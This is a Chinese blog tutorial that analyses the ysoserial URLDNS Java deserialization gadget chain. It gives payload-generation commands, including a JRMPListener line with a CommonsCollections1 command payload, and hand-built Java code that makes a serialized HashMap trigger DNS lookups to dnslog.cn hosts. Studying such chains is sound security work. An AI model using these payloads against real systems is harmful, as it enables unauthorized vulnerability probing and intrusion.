yso之URLDNS链

前言

文章首发于tools:yso之URLDNS链

Java反序列化

Java提供了一种对象序列化的机制,用一个字节序列表示一个对象,该字节包含对象的数据、对象的类型、对象的存储属性。字节序列写出到文件后,相当于可以持久保存一个对象,这过程叫做序列化。序列化对象会通过ObjectOutputStreamwriteObject方法将一个对象写入到文件中。

而反序列化是使用了readObject 方法进行读取并还原成在序列化前的一个类。

这一步骤并没有什么安全问题,但是如果反序列化的数据是可控的情况下,那么我们就可以从某个输入点,输入恶意代码,再去查找在哪个点,我们的输入会被一层一层的带去到我们的触发点去,而这一步叫做寻找利用链的步骤。

ysoserial

因为java序列化后的数据为不可见字符,不方便构造,所以此项目帮你生成反序列化poc的脚本,但是并不会提供反序列化的点。

项目地址

https://github.com/angelwhu/ysoserial

使用

主要有两种使用方式,一种是运行ysoserial.jar 中的主类函数,另一种是运行ysoserial中的exploit 类,二者的效果是不一样的,一般用第二种方式开启交互服务

  • java -jar ysoserial-0.0.6-SNAPSHOT-all.jar [payload] ‘[command]’
  • java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://fq3jq6.dnslog.cn
  • java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 ‘ping test.fq3jq6.dnslog.cn’

项目结构

│  GeneratePayload.java {{生成poc的入口函数}}
│  Deserializer.java {{反序列化模块}}
│  Serializer.java {{序列化模块}}
│  Strings.java {{字符处理模块}}
│
├─exploit {{一些直接调用的exp}}
│      JBoss.java
│      JenkinsCLI.java
│      JenkinsListener.java
│      ......
│ 
├─payloads {{生成gadget poc的代码}}
│  │  CommonsBeanutils1.java
│  │  URLDNS.java
│  │  .....
│  │
│  ├─annotation {{一些不重要的配置}}
│  │      Authors.java
│  │
│  └─util  {{一些重复使用的单元}}
│          ClassFiles.java
│          Gadgets.java
│
└─secmgr {{和安全有关的管理}}
        DelegateSecurityManager.java
        ExecCheckingSecurityManager.java

动态调试

源码地址

https://github.com/frohoff/ysoserial

克隆到本地直接用idea打开,这时候IDEA会自动根据其中的配置下载依赖,只需要等待几分钟

自动下载后最好在pom.xml那把剩下的依赖也解决了

image-20211231105506123

程序入口

首先找到程序的入口点,点开pom.xml搜索mainclass就可以找到入口点的类

image-20211231112814866

ctrl+左键点击跟踪进去,运行测试一下。

image-20211231112854798

需要参数

image-20211231112914880

主函数调用链

1处接受2个参数比如 URLDNS 'http://www.baidu.com'
2处获得poc模块的类,这里就是URLDNS.java类
3处实例化poc类以及将第二个参数传入类
4处序列化一次然后输出(poc)

image-20220102082557584

在run-edit config中配置参数

image-20211231112932866

这里填入URLDNS链的启动参数

URLDNS http://fq3jq6.dnslog.cn

image-20220102080716125

再次运行这样我们就获取到了一个序列化的数据。

image-20220102081540983

手动构造pop链

指定类的hashmap到指定类的hashcode

tips:HashSet列表的add也会调用map.put只是链子更长而已

HashMap<String, String> map = new HashMap<String, String>();
// 键不能重复,值可以重复
map.put("san", "张三");
map.put("si", "李四");
map.put("wu", "王五");
map.put("wang", "老王");
map.put("wang", "老王2");// 老王被覆盖
map.put("lao", "老王");
System.out.println("-------直接输出hashmap:-------");
System.out.println(map);

我们跟进put函数

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

跟进从putVal到hash函数

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

发现和hashCode相关。也就意味着当我们使用hashmap的put的时候,key会调用->hash(key)->然后调用key.hashCode()

也就是说只要key是一个对象,那么我们可以调用任意对象的hanshCode函数

那么又是怎么通过hashCode来发起dns请求的?

URL类中的hashcode

URL.java 881,URL对象hashCode函数调用了handler.hashCode

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;
    hashCode = handler.hashCode(this);
    return hashCode;
}

跟进handler.hashCode()(URLStreamHandler.java 350),他是由URLStreamHandler类形成的对象,是一个抽象类

用来处理协议(http/https)的建立连接

image-20220106081242928

hashCode调用了getHostAddress函数

protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    ...........

跟进getHostAddress(u)(URLStreamHandler.java 433),看名字也知道是用来获取主机IP地址的

image-20220106081517363

在其中调用了InetAddress.getByName

protected synchronized InetAddress getHostAddress(URL u) {
    if (u.hostAddress != null)
        return u.hostAddress;

    String host = u.getHost();
    if (host == null || host.equals("")) {
        return null;
    } else {
        try {
            u.hostAddress = InetAddress.getByName(host);
    .........................................

而InetAddress.getByName(host)就是DNS请求了

image-20220106081842673

那么就清楚了,调用链map.put(Url,XX)->URL.hashCode->handler.hashCode->getHostAddress(u)->u.hostAddress=InetAddress.getByName(host);

发出DNS请求,那么我们就可以简单构造一下

 HashMap<URL, String> hashMap = new HashMap<URL, String>();
        URL test_url= null;
        try {
            test_url = new URL("http://test.kei8v0.dnslog.cn");
            hashMap.put(test_url, "22222");
            System.out.println("success");
        } catch (MalformedURLException e) {
            e.printStackTrace();
        }

image-20220102084357269

到这里成功执行了DNS请求

hashmap的反序列化

我们前往HashMap.java

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
            .........................
            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false); #!!!!!!!!!!!
            }
        }
    }

发现readObject每个值也会调用putVal->hash(作用和HashMap中的put函数一致),然后如果key为URL类型就会掉入前面URLDNS的链中,那么我们现在非常方便写代码

public static void main(String[] args) throws Exception{
    	//构造请求链
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
        URL url = new URL("http://lyyy.dr8m3e.dnslog.cn\n\n");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url, 0);
        hashMap.put(url, "test");
        f.set(url, -1);
    	//序列化操作
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(hashMap);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();
    }

这里前面进行构造,后面进行序列化以及反序列化触发

有一个有意思的点是为了不让构造的时候触发dns请求影响结果判断,我们先使URL类中的hashCode值为0

我们分析URL的hashCode

public synchronized int hashCode() {
      if (hashCode != -1)
          return hashCode;

      hashCode = handler.hashCode(this);
      return hashCode;
  }

发现hashCode为-1的时候才调用handler.hashCode()

而hashCode定义为private int hashCode = -1;

默认为-1,我们要在构造的时候不发起dns请求,所以我们要在put之前set为非-1的值

注意在put结束后要恢复到-1,否则反序列化的时候也不会请求。
最后的利用链简化

HashMap->readObject()

HashMap->putVal()

HashMap->hash()

URL->hashCode()

URLStreamHandler->hashCode()

URLStreamHandler->getHostAddress()

InetAddress->getByName()

URLDNS链分析

URLDNS是ysoserial里面就简单的一条利用链,但URLDNS的利用效果是只能触发一次dns请求,而不能去执行命令。比较适用于漏洞验证这一块,而且URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法。

在一些漏洞利用没有回显的时候,我们也可以使用到该链来验证漏洞是否存在。

调用jar包得到序列化后的数据,如果需要执行,需要对其做反序列化操作。这里先开始看看数据是怎么获取的

打开src/main/java/ysoserial/payloads/URLDNS.java的源码

image-20220102082052485

在注释中标明了调用链

*   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

和手动构造的前半部分一致

在put地方打一个断点,再找到hashMap.readObject中的putVal打上断点

开始调试直接跳到第二个点

image-20220102093856286

putVal调用了hash,key是自己指定的url:http://fq3jq6.dnslog.cn 通过readObject函数生成的URL对象

image-20220106084457533

步入hash函数,这里key传入URL对象

image-20220102094027361

所以调用了URL类的hashCode,继续步入hashCode

image-20220102094137895

hashCode=-1时去执行hadler.hashCode

image-20220102094200704

执行getHostAddress,u为http://fq3jq6.dnslog.cn

image-20220102094238294

调用了InetAddress.getByName,成功发起dns请求,调用链和手动构造一模一样

本地使用yso测试

本地进行反序列化测试一下,手动生成

tips:这里不能用powershell运行,会在文件头加上错误信息导致报错

java -jar ysoserial.jar URLDNS http://8q2frx.dnslog.cn > out.bin

本地反序列化Demo

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class Helloworld{
    public static void main(String[] args) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();
    }
}

image-20220102101028960

探究冗余处理

那么yso是怎么处理构造时发出的dns请求呢?

查看URLDNS源码可以发现,作者构造URL对象时使用了三个参数

image-20220106085356304

来到析构函数查看,是可以通过指定处理程序解析来订制规范创建URL

image-20220106085430453

也就是依赖handler来制定规范创建URL对象

handler是上面创建的

image-20220106085748009

跟进

 static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }

直接重写了getHostAddress()内容为返回空

那么如果我们传入的handler为自己改写的时,创建URL对象调用hashCode函数就不能发起DNS请求了

那么为什么在反序列化的时候会有请求呢?

因为之前说过序列化只记录类的属性,而函数内容不管,所以这个对象的函数被重写并不影响序列化的结果。

而反序列在被攻击端进行,只要序列化数据正常,自然可以正常发起DNS请求

总结

URLDNS链

  • hashmap重写了readobject反序列化方法,而重写后的readobject方法调用了一系列方法最后发起dns请求

  • 使用的全部是JDK中内置的类和方法,不会有环境要求,所以利用范围大

  • 使用的全部是JDK中内置的类和方法,学习后对java源码理解更深入

  • 原生类的很多方法都会最后发起DNS请求,但是这里是对反序列化的探测,所以需要的是

    • 1.重写readObject函数
    • 2.重写后的readObject执行了危险操作(危险类/危险函数)

参考

java代码审计入门3-ysoserial调试和构造URLDNS的pop链

Java安全之URLDNS链

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值